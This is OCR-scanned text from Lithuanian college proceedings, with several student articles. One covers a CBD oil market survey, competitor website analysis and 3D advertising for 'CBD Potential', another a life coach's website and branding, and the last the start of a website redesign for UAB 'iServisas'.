naudg. Tuo tarpu mazdaug penktadalis (19,2 proc.) respondenty nesutinka, jog kaina
atspindi vertg, o tai gali rodyti kainodaros ir vartotojy likes¢iy neatitikima

Apie CBD aliejaus pasiiila Lietuvos rinkoje, 38,5 proc. respondenty mano, kad
pasiiila yra per maza, o 61,5 proc. laiko ja pakankama. Tai rodo reikSminga potenciala
rinkos plétrai.

Tyrimo rezultatai parodé, kad didzioji dalis respondenty (66,7 proc.) teige
esantys girdéje apie CBD aliejy. Tyrimo paklaida jvertinta 7.96 proc. ribose, o
pasitikéjimo lygis — 95 proc.. Tai reiskia, kad apklausos rezultatai su 95 proc. tikimybe
atspindi visy tyrimo dalyviy nuomones, o paklaida nevirsija 7.96 proc.. Sie rodikliai
uztikrina, kad tyrimo rezultatai yra patikimi ir gali biiti naudojami svarstant tolesnes
marketingo strategijas.
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Imoniy prekiaujanéiy CBD produktais svetainiy ir soc. tinkly lankomumo
palyginamoji analizé

Analizuojant konkurencijg tarp CBD produkty prekybos jmoniy, itin svarbu
,»1Stirti konkurenty stipriasias ir silpnasias puses®, kaip nurodoma knygoje ,,Prekybos
marketingas® (2005). Toks metodas leidZia atskleisti svarbiausius veiksnius, kurie lemia
vartotojy pritraukimg ir jmonés prekés zenklo stiprinimg rinkoje. Taip pat, kaip teigia
Obrazcov (2006) savo knygoje ,Valdymo ir administravimo metodai®, tinkama
konkurenty analizé yra nepakeiCiama strateginiy sprendimy priémimo proceso dalis,
nes suteikia galimybe suprasti ir prognozuoti konkurenty veiksmus rinkoje

Siekiant issiaiSkinti jmonés konkurencingumg ir jvertinti silpnasias ir stiprigsias
puses, 2023 m. gruodzio ménesio ir 2024 m. vasario ménesio laikotarpiu buvo atliktas
respondenty anketavimas. Palyginamoji analizé buvo naudojama i$nagrinéti jmoniy
lankomumo rodiklius, marketingo kanaly pasiskirstymus ir pardavimy apimtis.
Deskriptyviné statistika, jtraukiant vidurkius, procentus leido aiskiai pateikti ir
vizualizuoti duomenis, padedant lengviau suvokti kiekvienos imonés pozicijas ir jy
skirtumus. ISanalizavus ,,CBD Potential* ir jos konkurenty — ,,Hempo.It, ,,H Drop® ir
»ecoKanapé® veikla ir lankytojy srautus buvo pateikta palyginamoji analizé. Jmoniy
pozicija rinkoje pagal lankomumg, marketingo kanalus, svetainiy lankomumas,
pardavimus bei soc. medijos lankomumas buvo jvertinta ir patekta 1 lenteléje.

1-oje lenteléje, treciojoje grafoje galima matyti koks lankytojy skaiéius yra i§
Lietuvos, o koks i§ kity Saliy. ,,CBD Potential“ lankomumas yra mazesnis nei 5000
lankytojy ir visi yra i§ Lietuvos. Tai parodo, kad jmoné yra stipriai susikoncentravusi j
vieting rinka, taciau triiksta reklamos j uZsienio rinkas. Palyginus ,,Hempo.It* sulaukia
27634 lankytojy, o ,,H Drop* — 18392 lankytojy, taciau abiejy jmoniy didzioji dalis
lankytojy taip pat yra i§ Lietuvos.

1 lentelé. CBD aliejaus prekybos svetainiy populiarumas
pagal lankytojy skaiciy ir geografijq

Imonés pavadinimas Lankytoju skaicius (vnt.) Lalr_lilgt’:;\)}gs s(k;\;glczu)s 18
,,CBD Potential“ <5000 100,00
,,Hempo* 27,634 91,.72
,,H Drop“ 18,392 94,89
,,ecoKanapé* <5000 100,00

Marketingo kanaly pasiskirstymas (2 lentelé) kaip raSoma straipsnyje finansy
ir investicijy enciklopedijos ,,Investopedia“ (2024), atspindi, kaip skirtingi marketingo
kanalai prisideda prie svetainiy lankomumo arba kaip lankytojai atsiduria svetainése.
,,CBD Potential“ dominuoja mokama paieSka, sudaranti 57.93 proc. viso marketingo
kanaly pasiskirstymo, o tai rodo didelius investicijy i Sig rinkodaros strategija mastus.
H Drop i$siskiria 71.05 proc. organinés paieskos dalimi, o Hempo.lt — dideliu socialinés
medijos ir organinés paieskos indéliu.
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Atmetimo rodiklis ( proc.)

120%
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0,
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CBD Potential Hempo H Drop ecoKanape
Imonés

9 pav. CBD aliejaus prekybos svetainiy atmetimo rodikliy diagrama

2 lentelé. CBD aliejaus prekybos svetainiy prieinamumo rodikliai

Kanalas CBD Potential Hempo.lIt H Drop ecoKanapé
(proc.) (proc.) (proc.) (proc.)

Mokama paicska 57,93 33,88 0,93 . d. (néra

duomeny)
Tiesioginiai 26,67 20,34 23,83 n. d.
Nuorodos 15,40 1,63 — n. d.
Socialiné medija — 12,70 2,69 n. d.
Organiné paieska — 31,01 71,05 n. d.

Statistinis skirtumas tarp ,,Hempo.lt* ir ,,H Drop* lankomumo yra reik§mingas
(p < 0.05). ,,Hempo.It* svetainé issiskiria lankytojy jsitraukimu: jie praleidzia beveik
penkias minutes svetaingje, o atmetimo rodiklis yra mazas (10 pav). ,,H Drop“ rodo
vidutinj jsitraukimg su dvejy minuciy apsilankymu, bet atmetimo rodiklis Sokteléjes iki
63.53 proc.. ,,CBD Potential*“ lankytojai skiria Siek tiek maziau laiko — mazdaug dvi

minutes, ir perziliri maziau puslapiy. ,,EcCOKanapé® néra duomeny.
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Minimalias ir maksimalis pardavimai svetainése (vnt.)
® Maksimalis pardavimai

B Minimaliis pardavimai
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Jmonés

10. pav. CBD aliejaus prekybos svetainiy apskaiciuoty pardavimy vidurkiy diagrama

Vidutiné apsilankymo trukmé svetainése

(sekundémis)
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11. pav. CBD aliejaus prekybos svetainiy vartotojy apsilankymo trukmés

Istyrus atskiry jmoniy vykdomus pardavimus (11 pav.) , galima teigti, jog
»Hempo.lt“ iSsiskiria tarp nagrinéty svetainiy, turédama didziausia maksimaliy
pardavimy potenciala (1382 pardavimai). Tai rodo, kad $i svetainé efektyviai
konvertuoja lankytojy srautg j pardavimus. Tuo tarpu ,,H drop“, rodo mazesnj
maksimaliy pardavimy skaiciy, palyginti su ,,Hempo.lt*, taciau vis tiek islieka antra
pagal pardavimus. ,,CBD Potential® ir ,,ecoKanape* pasizymi panaSiais pardavimy
dydziais, rodydami stabiluma, bet mazesn¢ pardavimy apimtj, palyginti su lyderiais.
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Analizé parodé, kad ,,H Drop® svetainéje vidutiné apsilankymo trukmé yra
gerokai ilgesné uz kitas jmones, su 294,5 sekundémis palyginti su ,,Hempo®, kuris yra
antras su 109,5 sekundémis. Sis skirtumas rodo, kad ,,H Drop“ svetainéje lankytojai
praleidzia Zymiai daugiau laiko, kas gali atspindéti geresnj vartotojy jsitraukimg ir
patrauklesn;j turinj.

3D technologijy panaudojimas

Trimatés grafika ir 3D technologijos Siuolaikiniame pasaulyje naudojamos
labai pladiai, pradedant nuo medicinos (Toulfas et al., 2020; Pikridas et al., 2020) ir
reklamos sri¢iy (Debbabi 2010) ir baigiant architektirinémis vizualizacijomis
(Survilaité et al., 2021), jvairiy pramoniniy gaminiy vizualizacijy kirimu bei 3D spauda
(Shahrubudin, 2019). Siuo metu trimatés technologijos sékmingai yra pritaikytos net ir
statyby sektoriuje (Sanjayan ir Nematollahi, 2024).

Trimaté grafika (3D), kaip reklamos sudedamoji priemoné, vis labiau
pastebima jvairiy produkty reklaminiuose pristatymuose klientams. Trimacio
modeliavimo ir animacijos pagalba galima atvaizduoti produkty savybes, juose
vykstan¢ius reiSkinius, jy poveikj Zmogui ar aplinkai. Debbabi (2010) savo
moksliniame straipsnyje ,,Effect of online 3D advertising on consumer responses: The
mediating role of telepresence" teigia, kad ,,galimybé perduoti produkto esme ir
estetines savybes per trimaCius modelius leidzia sukurti patrauklig ir jsiminting
vartotojo patirtj* Imonés naudoja 3D technologijas norédamos sukurti i$samius,
realistiSkus produkty prototipus, kurie gali biiti naudojami tiek virtualiose erdvése, tiek
ir fizinéje realybéje, kad pristatyty naujas prekes ar inovacijas.

Tyrimo rezultaty pritaikymas kuriant originalia jmonei reklamg

Darbo metu buvo sukurtos dvi 3D reklamos uzsakovui ,,CBD Potential®,
siekiant atitikti specifinj poreikj — pateikti CBD produktus Siuolaikiskoje ir patrauklioje
vizualinéje aplinkoje, kurioje produktai iSryskéty kaip pagrindiniai veikéjai.

,»CBD Potential face serum“ reklamos kiirimas

Si reklama buvo sukiirta remiantis idéja, kad novatoriskas 3D modeliavimas
yra unikali priemoné vartotojy démesiui pritraukti. Atskleidziamas serumo
modernumas naudojant ,,Autodesk 3ds Max“. IsrySkintos tekstiros ir etiketés per
,Material Editor* ir ,,UVW Map*, suteikiant vizualizacijai kokybiska ir Siuolaikiska
vaizda. Techninéje puséje, Sviesos efektai, sukuriami su ,,Corona Renderer” ir
,,LightMix“, padidina vizualinj produkto patrauklumg. Finaliné reklama sujungta ir
pritaikyta ,,Adobe Premiere Pro®, eksportuojant j aukstos kokybés H.264 formata.
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12. pav. ,,CBD Potential face serum* sukurtos 3D reklamos kadrai

»CBD POTENTIAL“ kosmetikos linijos reklamos kiirimas

Antrajai ,,CBD Potential* reklamai, pristatanciai kosmetikos linija, sukurtos
trys skirtingos scenos, naudojant ,,Autodesk 3ds Max“ buteliuko ir kity produkty
formoms modeliuoti. Teksttros ir etiketés redaguojamos ,,Adobe Illustrator ir
i8saugomos ] .pdf, uztikrinant glotny prisitaikyma prie 3D modeliy. 'Corona Renderer'
ir 'LightMix' funkcijos leido reguliuoti $viesos $altinius, o 'Unwrap UVW'
modifikatorius palengvino tekstury pritaikymg. Vaizdo montazas atliktas ,,Adobe
Premiere Pro“, o rezultatas i$saugotas H.264 formatu optimaliam vaizdo kokybés
iSlaikymui.

13. pav. ,,CBD POTENTIAL" kosmetikos linijos reklamos scenos
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ISvados

1. Tyrimo rezultatai parodé, kad CBD aliejus tampa vis populiaresnis tarp
Lietuvos gyventojy, ypa¢ jauny motery tarpe. DidZioji dalis respondenty (66,7 proc.)
teigé esantys girdéje apie CBD aliejy, o 46,3 proc. nurodé, kad jau yra ji naudoje.
Pagrindinés CBD aliejaus vartojimo prieZastys yra skausmo malS§inimas (47,8 proc.) ir
nerimo mazinimas (39,1 proc.). Tyrimo duomeny patikimumas buvo uZztikrintas 95 proc.
pasitikéjimo lygiu ir 7,96 proc. paklaida. Tai reiSkia, kad su 95 proc. tikimybe gauti
rezultatai atspindi visy tyrimo dalyviy nuomones, o paklaida nevirsija 7,96 proc.. Sie
rodikliai rodo, kad tyrimo rezultatai yra pakankamai patikimi ir gali biiti naudojami
svarstant tolesnes marketingo strategijas.

2. Nustatyta, kad ,,Hempo.lt* pirmauja Lietuvoje, veiksmingai paverciantis
lankytojus pirkimais ir pasizymintis didelémis pardavimy apimtimis. ,,H Drop* iskilo dél
geros SEO, o ,,CBD Potential* aktyviai konkuruoja su mokama reklama. ,.,ecoKanape*
atsilieka dél auksto svetainés atmetimo lygio ir socialiniy tinkly nebuvimo.

3. Darbo metu, atsizvelgus i atlikta tyrima ir pritarus jmonei, buvo sukurtos
originalios ,,CBD Potential“ jmonés produkty 3D vizualizacijos siekiant, kad
gamintojas i$skirty savo produktais rinkoje. Taip pat buvo sukurto dvi originalios
produkcijos reklaminés animacijos, kuriy trukmé (,, CBD Potential face serum*
reklamos ) 24 sekundés ir (,, CBD Potential face serum* reklama) 26 sekundés Siomis
reklamomis siekiama geriau informuoti ir sudominti vartotojus, ypa¢ jaunesniaja
auditorijg, kuri vertina inovatyvias ir Siuolaikiskas reklamines prezentacijas.
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Summary

In this article the importance of CBD oil, its therapeutic properties, and how 3D visualizations
created using Autodesk 3ds Max can increase product appeal and understanding for consumers is
analysed. As part of the research, market segments, competitor positions and consumer attitudes
towards CBD oil were analysed. Research methods included survey and comparative data
analysis, and the findings highlighted that CBD oil is becoming increasingly popular due to its
beneficial properties. It was also revealed that effective use of 3D technologies in advertising can
enhance brand value and improve user experience.

Keywords: CBD oil, three-dimensional graphics, 3D visualization, market analysis, competitor
analysis, interactive advertising.
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Internetinés svetainés ir vizualizacijos produkty kiirimas

koucingo veiklai

Julita Miknevi¢itité, Mindaugas Zmitrulevicius
Kauno kolegija

Anotacija. Siame straipsnyje aptariamas internetinés svetainés ir vizualizacijos
produkty kiirimo procesas, kuriame yra analizuojami pagrindiniai Zingsniai reikalingi
norint, kad visi produktai turéty efektyvy veikimg ir didziausiag Zmoniy jsitraukima j
koucingo veiklas. Produkty kiirimo metu yra sukuriamas internetinés svetainés prototipas
su vizualizacijos priemonémis, kurios skatina auditorija, nesusitvarkancia su savo
vidinémis problemomis, kreiptis pagalbos | kou€ingo specialiste.

Raktiniai ZodZiai: internetiné svetainé, vizualizacijos produktai, koucingas.

Ivadas

Siais laikais gyvename laisvoje visuomenéje, kurioje yra daug pasirinkimy, o
su daugybe pasirinkimy, ateina daug iSbandymy ir sunkumy. D¢l Sios prieZasties,
pasaulyje yra sertifikuoti specialistai — gyvenimo treneriai, kouceriai. ,,Kouceriai siekia
motyvuoti ir paskatinti asmenj gerinti savo veikla — tobulinti darbo igiidzius, jveikti
klittis ir remtis geraja praktika®. (Misiukonis, 2016) Bet tam, kad labiau pritraukty
zmones, ypac kai Siy laiky visuomené mégsta prie§ einant pas nepaZzjstama zmogy,
internete gauti kuo platesng informacija apie jj ir jo veikla, kouceriai riipinasi savo
turiniu jame. Taciau zmoniy susidoméjimas gyvenimo treneriais Lietuvoje dar tik
igauna pagreitj. Dél Sios prieZasties lietuviai kouceriai vangiai kuriasi tinklalapius,
kitaip nei kitose uzsienio Salyse. Bet norint sulaukti didesnio Zmoniy démesio, patartina
susikurti savo asmening svetaing, o jei yra galimybiy kurtis ir kitus kokybiskus
multimedijos produktus, tokius kaip reklamjuostes, socialiniy tinkly jrasus ir pan.

Darbo tikslas — iSanalizuoti koucingo internetinés svetainés ir vizualizacijos
produkty kiirimo ypatumus ir Siuos produktus sukurti.

Darbo uZdaviniai:

1. ISirti internetinés svetainés kiirimo kriterijus.

2. Isanalizuoti kuriamy vizualizacijos produkty kiirimo kriterijus.

3. Sukurti interneting svetaing bei logotipa, viziting kortelg ir socialiniy tinkly
jraSus.

Internetinés svetainés ir vizualizacijos produkty kiirimo Kriterijai
Pirmiausia prie§ kuriant reklaminius produktus koucingo veiklai, reikia
iSnagrinéti kokiai vartotojy grupei tai yra aktualiausia. | kou¢ingo specialistus kreipiasi
tie, kuriems triiksta vertybiy kaip santykiai, karjera, pasitikéjimas savimi, meilé sau,
vidiné ramybé. Jie ieSko gyvenimo treneriy, norédami pagalbos §iose srityse. Daznai
jiems triksta jsitikinimy, pvz., supratimo, kad verta gyventi pagal savo troSkimus ir
priimti, ka gyvenimas sitilo. Svarbu riipintis savimi, nes niekas negali miisy myléti
labiau nei mes patys. Toks pozidris glaudziai siejasi su pasitikéjimu savimi, kuris yra
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esminis siekiant stiprinti gyvenimo jsitikinimus ir pasiekti tikslus. Lietuvos statistikos
duomenys rodo, kad depresijos simptomus jaucianciy zmoniy skaicius nuo 2014 iki
2019 mety didéjo. Tai gali biti susij¢ su vertybiy, tokiy kaip pasitikéjimas savimi, stoka,
todél gyvenimo treneriai gali padéti §j procesa suvaldyti.

Depresijos paplitimas pagal amZiaus grupes 2014 ir 2019 m.

Proc

2014 2019
S ir vy 866 654
842 785
884 86,3
93,1 89.0
938 846
96,3 843

= Mejaute depresiniy simptomy Jaute depresijos simptomus Jaute depresijos simptomus Nejaute depresiniy simptomy =

1 pav. Depresijos paplitimas Lietuvoje pagal amziaus grupes 2014 ir 2019 m.

ISsiaiskinus, kokia auditorija gali dométis koucingu, galima §ias Zinias perkelti
produkty kiirimo principy analizavima. Norint, kad svetainé atitikty Siy laiky dizaino
tendencijas ir tuo paciy atitikty kuriamo puslapio tema, reikia nepamirsi Siy aspekty:
svetainés pritaikymo prie skirtingy dydziy ekrany, iliustracijy naudojimo, minimalistinio
dizaino.

Kiekvienai svetainei svarbu turéti prisitaikantj dizaing, nes dauguma zmoniy,
jskaitant vyresnio amziaus, nar$o internete naudodami mobiliuosius jrenginius. Tai
reiSkia, kad dizainas turi bati lankstus, galintis prisitaikyti nuo didelio kompiuterinés
versijos ekrano dydzio iki mazesnio, mobilaus jrenginio ekrano.

Svarbu paminéti, kad iliustracijos ne tik gerina svetainés vizualinj jsptdj, bet ir
suteikia jai gyvybés. Jos gali perteikti kompleksines idéjas arba pabrézti svarbius
pranesimus, pritraukdamos démes;j ir skatinancios lankytojus jsitraukti. [liustracijos taip
pat gali sukurti emocing sasaja su vartotojais, perduodamos tam tikras nuotaikas ar
emocijas, kas yra svarbu norint sukurti stipry prisiri§ima prie svetainés. Be to, iliustracijos
gali buti puiki priemoné skaidriai perteikti sudétingus ar abstrakéius konceptus,
palengvindamos informacijos suvokimg ir jsiminimg. Jy naudojimas padeda sumazinti
informacijos perkrova ir padaro svetaing pasiekiamg ir patrauklig visiems vartotojams,
nepriklausomai nuo jy gebéjimy ar poreikiy. Visa tai labai svarbu, kad biity lengviau
jsimena svetaines, nes taip yra didesné tikimybé, kad j jas dar ne karta sugrj$ vartotojai.

Minimalistinis stilius internetinése svetainése yra amzina dizaino tendencija,
nes ji padeda aiskiai perduoti informacija vartotojams. Maziau papuosimy leidzia geriau
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pabrézti svarbiausig turinj, paveikslélius ir teksta, padeda sudominti vartotoja. Paliekant
tusCig erdve, puslapis ne tik atrodo estetiSkai, bet ir skatina ramybe¢ bei lengvina
informacijos paieska. Be to, minimalizmas taip pat prisideda prie vartotojy patirties
gerinimo ir svetainés naSumo padidéjimo. Sumazinus nereikalingus elementus, svetainé
tampa greitesné ir lengviau jsikelia turinys, o tai yra svarbu norint islaikyti vartotojy
démesj ir uztikrinti, kad jie ilgiau narSyty. Maziau sudétingas dizainas taip pat
palengvina svetainés prieziiirg ir atnaujinima, nes yra maziau komponenty, kuriuos
reikia atnaujinti ar tvarkyti.

| caxis Home

The easiest way to start
your business in Hong
Kong

2 pav. Minimalistinio stiliaus svetainé

Lyginant su ankstesniy laiky svetainiy kiirimu, kai dizainas buvo daznai
apkrautas jvairiais elementais, Siandien minimalistinis pozitiris yra Zenkliai pranasesnis.
Seniau svetainés buvo pilnos jvairiy grafiniy elementy, animacijy ir sudétingy fony,
kurios daZnai létino svetainés jkélimg ir kélé painiavg vartotojams. Navigacija buvo
sudétingesné, nes buvo daug nuorody ir mygtuky, kurie atitraukdavo démesj nuo
pagrindinés informacijos. Siuolaikiikas minimalistinis dizainas, priesingai, suteikia
pirmenybe aiskumui ir funkcionalumui. Dél paprastesniy struktiiry ir maziau elementy,
vartotojai gali lengviau rasti ieSkoma informacija, o svetainés greitis ir efektyvumas yra
gerokai padidéje.

s !,Llwﬁsgjﬁs .COmEs
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3 pav. Blogo dizaino internetinés svetainés pavyzdys

Dazniausiai Zmonés atsimena jmones ar organizacijas i$ logotipy, o ne i§
pavadinimy. Dél Sios priezasties ir kouc¢ingu uzsiimantiems zmonéms labai svarbu turéti
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jsimenama logotipa. Pries jj sukuriant reik iSnagrinéti jy kurimo kriterijus. Svarbiausi
jy biity unikalumas, paprastumas, matomumas, formy ir spalvy tinkamumas.

Unikalus logotipas turi iSsiskirti nuo kity ir islikti jsimintinas ilgg laika,
vengiant populiariy elementy ir spalvy. Paprastumas ir aiSkumas suteikia lengvai
jsimenama forma, o matomumas uZztikrina, kad logotipas bus gerai matomas ir
sumazintas. ,,Spalva gali perteikti nuotaika, apibtdinti tikrove arba uzkoduoti
informacija“. (Lupton ir Phillips 2015) Derétu nepamisti, kad formoje ir spalvoje turi
atsispindéti tema ir paskirtis, vengiant perkrovimo. Tai viena i§ priezasCiy, kodél
zmonés atsimena kokybiskai sukurtus logotipus ir kodél neatsimena ne pagal kriterijus
sukurto logotipo. Svarbu iSlaikyti pusiausvyra ir pasirinkti tinkamas spalvas, kad biity
iSlaikytas matomumas bei biity palaikoma logotipe akcentuojama tema.

Siekiant pritraukti kiek jmanoma daugiau klienty, svarbi reklaminé priemoné —
vizitiné kortelé. Vizitiné kortelé yra profesionalus prisistatymas, kuriame nurodomas
vardas, adresas, telefono numeris, jmonés pavadinimas ir pareigos (Kim ir Byun, 2023).
Vizitiné kortelé yra svarbus verslo prisistatymo jrankis, kuris ne tik nurodo esminius
kontakto duomentis, bet ir atspindi jlisy verslo asmenybe bei profesionaluma. Ji suteikia
galimybg sukurti pirmajj jspiidj potencialiems klientams ar verslo partneriams.
Itraukdami informacija apie savo varda, jmone, pareigas, adresg ir telefono numeryj, jiis
suteikiate kitoms Salims galimybe lengvai susisiekti su jumis arba apsilankyti jisy
verslo vietoje. Tai taip pat yra subtilus biidas parodyti savo jmonés stiliy ir vertybes per
dizaing ir i§déstyma, kuris gali padéti atskirti jisy versla nuo kity. Todél yra labai svarbu
investuoti laiko ir finansy, kad biity sukuriamas kokybiskas gaminys.

Turétume atidziai apsvarstyti vizitinés kortelés dydj, kad ji atitikty ne tik
Europos standartus, bet ir miisy konkreciy poreikiy bei dizaino sprendimy reikalavimus.
Dazniausiai naudojami standartai yra 90x50 arba 85%55 mm, taCiau svarbu suprasti,
kad po spausdinimo kortelé bus apipjaustyta. Todél rekomenduojama palikti bent 5 mm
uzlaidy, kad apipjaus¢ius nebiity pazeistas tekstas ar logotipas, ir kad galétume islaikyti
norima dizaino integraluma. Sios detalés svarbu ne tik estetiniam jspdziui, bet ir
praktiniam funkcionalumui, siekiant i§vengti galimy problemy po spausdinimo proceso.

Kiekvienas dizaino elementas, nuo bendro dizaino stiliaus iki teksto, $ukiy ir
naudojamy Srifty bei spalvy, gali sukurti tam tikrg jspiidj apie jmonés charakterj.
Rekomenduojama pasirinkti spalvy gamg ir Srifta, atitinkantj jmonés tema, ir vengti
pernelyg daugybés elementy. Geriau pasirinkti dvi ar tris spalvas ir vieng Srifta. Taip
pat svarbu neapkrauti dizaino per daug skirtingy dydziy, geriausia laikantis 7-12 pt
ribos, uztikrinant gero matomumo ir gaminio kokybés iSsaugojima.

Ketindami reklamuoti koucingo veikla, reikia nepamir§ti Siy laiky
populiariausiy platformy — socialiniy tinkly. ,,Informaciniai pranesimai yra informacijos
pagrindu paremtos apeliacijos, kurios teikia racionalig ir naudinga informacija,
tiesiogiai susijusig su reklamuojama preke ar prekés Zenklu.“ (Gross ir Wangenheim,
2022). Norint sudominti internetinés svetainés vartotojg, bitina jg pirmiausiai
reklamuoti. Vienas i§ biidy yra kurti socialinius jrasus socialinése medijose, su
perteikiama informacija ko zmogus gali tikétis prie§ apsilankydamas svetainéje ar
tiesiogiai norédamas uzsiregistruoti skelbiamai paslaugai. RaSoma informacija turi buti
teisinga, turéti aiSky tiksla ir neklaidinanti Zmoniy, taciau bitina apgalvoti, kokiais
zodziais galima juos pritraukti. Svarbu neiSsiplésti, sudaryti zmogui aiSky ir trumpa
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turinj. Reikia apgalvoti kokiy problemy ar nory turintiems Zmonéms méginsime sitlyti
savo preke ar paslauga. Reikéty nepamirsti jrasy dizaino, kuris yra labai svarbus, tam
kad vartotojas pastebéty jj i§ visos internete platinamos gausos.

Produkty kiirimo rezultatai

Darbo metu buvo sukurta internetinés svetainés dizainas ir vieliné diagrama
bei reklaminiai produktai. Kuriant internetinio puslapio dizaina, buvo atsizvelgta j
ktrimo kriterijus. I§ pradziy iSsirenkama spalviné paleté, kuri tarpusavyje deréty bei
atitikty kouc¢ingo veiklose suteikiamus jausmus: ramybeg, atsipalaidavima, pasitikéjima.
Tad pasirenkama rudy atspalviy gama. Tarp teksto bitinai jterpiamos nuotraukos,
kurios spinduliuoja — ramybe, motyvacijag siekti gyvenime kazko daugiau bei
pasitikéjima specialiste. Visoje vielinéje diagramoje iSdéstoma informacijos laukeliai
taip, kad svetainéje Siek tiek atsispindéty minimalizmas, kuris glaudziai, emociskai
susij¢s su koucingo veikla.

Vienas svarbiausiy objekty reklamuojant savo veikla yra logotipas. Jis
kuriamas atsizvelgus tiek | spalving gama, tiek j formas, kurios kuriamos turédamos
prasmg. Todél buvo sugalvota logotipas, kuris vaizduoja saulg, kuri yra dviejuose
delnuose. Tai simbolizuoja, kad Zzmogus, padedamas koucerio, gali kilti kaip saulé bei
spinduliuoti teigiamg energijg. Taip pat buvo atsizvelgta j detaliy dydj. Noréta sukurti
tokias, kad sumazinus logotipo dydj, jos kuo puikiausiai visos matytysi.

4 pav. Sukurtas logotipas

Taipogi, sukuriama vizitiné kortelé, su pagrindine koucerés informacija.
Parenkamas 85x55 mm formatas ir visa informacija iScentruojama. Logotipas
iSdidinamas tiek, kad puikiai biity matomas ir gerai jsimintinas j Zzmoniy atmintj. Vizitinés
kortelés fonas baltos spalvos tam, kad neuzgozty informacijos, ta¢iau Sonuose sukuriamas
rastas, paimtas is logotipo atskiry daliy, kad uzpildyty per ne lyg didelg tustuma.

Neringa Lazauskiene
ouceré

+370 670 24884 www.nikoucere.lt
nlazauskiené@gmail.com

5 pav. Vizitiné kortelé
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Socialiniy tinkly jrasai buvo ilgg laikg tobulinami ir i§ daugybés varianty
atsirinkti trys. Sie, kad biity patrauklas akiai ir atitikty visy kuriamy produkty
skleidziamg tema, yra rudy atspalviy, o paciame jraSe nuotrauka, atspindinti veiklos
skleidziama nuotaika. Tekstinis turinys aiskus, konkreciai taikantis ] auditorija, kuriai
reikia pagalbos vienoje ar kitoje srityje.

Santykiai
klostosi 3 Nebeaiskis gyvenimo
ne faip, Yo tikslai bei vertybés?
k'mp 5 < "Y Vis darai klaidingus
norétum? \? ? sprendimus gyvenime?
f N ( KIS )
A % Okarjera -
sprusta
i ranky?

Ateik, pasikalbésim
dS oo K +37067024884

6 pav. Socialiniy tinkly jrasai

ISvados

1. ISnagrinéjus internetinés svetainés tendencijas matome, kad prisitaikantis
dizainas su iliustracijomis ir minimalizmu yra esminis, siekiant efektyviai pasiekti ir
iSlaikyti vartotojy démesj internetiniuose puslapiuose, kuris yra perkeliams kuriant
internetinés svetainés vieling diagramg ir dizaing.

2. Kuriant multimedijos produktus pastebéta, kad visi turi sietis vienas su kitu
viena tema, viena spalvine gama bei panasaus stiliaus Sriftais.
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Summary

In this article, the website and visualization product development process which analyses key
steps needed to ensure all products work effectively and maximize people's engagement in
coaching activities is examined. During the research, a website prototype, which encourages the
audience who struggle with inner problems to seek help from a coaching specialist, with
visualization tools included was created.
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UAB ,,iServisas® internetinés svetainés

ir multimedijos produkty kiirimas

Kamilé Se§kauskaité, Mindaugas Zmitruleviius
Kauno kolegija

Anotacija. Siame straipsnyje pateikiami tyrimo, kuriuo siekiama igspresti
problemas, susijusias su jmonés UAB ,.iServisas® internetinés svetainés dizainu bei
socialiniy tinkly reklama, rezultatai. Darbo tikslas yra sukurti nauja internetinés
svetainés dizaing ir socialiniams tinklams pritaikytas reklamjuostes, atsizvelgiant j
imonés tiksling auditorijg ir siekiant pritraukti daugiau klienty. Tyrimo metu buvo
iSanalizuota tiksliné auditorija, pasirinkti tinkami dizaino sprendimai, spalvos ir Sriftas,
sukurta nauja vieliné diagrama ir atnaujintas svetainés dizainas, sukurtos reklamjuostés,
kurios pritaikytos socialiniams tinklams.

Raktiniai ZodZiai: internetiné svetainé, reklamjuosté, vieliné diagrama,
svetainés dizainas.

Ivadas

Siuolaikinéje visuomenéje technologijos yra nepakei¢iama kasdienio
gyvenimo dalis. Galima teigti, kad technologijos — tai zmoniy gebéjimas sukurti
unikaliausius inZinerijos sprendimus, pagerinti gyvenimo kokybe. ,,Internetas dabar
vaidina ta patj vaidmenj, kurj kadaise atliko televizija. Jis teikia informacijg ir vidutinio,
ir zemiausio socialinio sluoksnio atstovams, nors dar neseniai buvo prieinamas tik daug
pasiekusiems, i$silavinusiems ir labai turtingiems“ (Holly Berkley, 2007). ISmands
sprendimai padeda zmonéms jvairiausiose situacijose, vis grei¢iau uzsakytos prekés
pasiekia namus, dirbant kasdienj darbg galima neiseiti i§ namy, o komunikacija tarp
zmoniy gali vykti beveik visame pasaulyje be apribojimy.

Kasdieng tobulgjant technologijoms, jmonéms batina prisitaikyti prie
visuomenés poky¢iy. Kadangi dalis Zmoniy vis re€iau iSeina j miestg ir vis dazniau
renkasi apsipirkima i§ namy, daugelis jmoniy kuria internetines svetaines, reklamas
socialiniuose puslapiuose, taip siekdamos sudominti vartotojus ir parduoti jiems savo
kuriamus produktus ar paslaugas. Taciau, norint pasiekti tiksling auditorija, atkreipti
vartotojy démesj, reikia pasirtipinti tinkamu produkto ar paslaugos pateikimu. Tikslinei
auditorijai didele jtaka daro internetinés svetainés ar reklamos dizainas, kuris turi biti
tvarkingas ir atkreipiantis démesj. ,,Pasaulis dar nematé tokio galingo informacijos
platinimo mechanizmo, kartu su tokiu placiu laisvés laipsniu, kaip tinklalapio dizainas
ir ,,hostinimas* (Melius weideman, 2009).

Darbo tikslas — atlikti internetiniy svetainiy dizaino tendencijy ir jmonés
»iServisas“ paslaugy spektro bei tikslinés auditorijos tyrimag ir sukurti jmonei nauja
internetinés svetainés dizaing bei reklamjuostes socialiniams tinklams.

UZdaviniai:

1. Atlikti jmonés ,,iServisas* paslaugy spektro bei tikslinés auditorijos tyrima;
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2. Atlikti internetiniy svetainiy dizaino tendencijy, susijusiy su spalvy ir Srifto
naudojimu, tyrima;

3. Sukurti jmonei ,,iServisas“ naujg internetinés svetainés dizaina;

4. Sukurti reklamjuostes socialiniams tinklams, pristatan¢ias jmonés produktus
ir paslaugas.

Internetinés svetainés dizaino ir reklamjuosc¢iy kiirimas

Atliekant darba, susijusj su asmens nuosavybe, svarbu tobuléti bendravime su
zmonémis, jog klientai pasitikéty meistru, kuriam patiki Savo svarby jrenginj. Kaip
teigia Lobschat ir kt. (2017) Siandienos internetinés reklamos pasaulyje dauguma
reklamjuosCiy yra nukreiptos j ankstesnius lankytojus. Kadangi klientai gali buti
jvairaus amziaus, svarbu mokéti prisitaikyti prie jy bendravimo biido, jog jie jaustysi
patogiai ir atvirai bendrauty, suprasty problema, kuri sukélé jrenginio gedimg ir
pasistengty nekartoti eksploatavimo klaidy. Kad dirbantiems meistrams biity lengviau
mokytis bendravimo su klientais ir tobuléti, biitina zinoti jmonés tiksling auditorija.

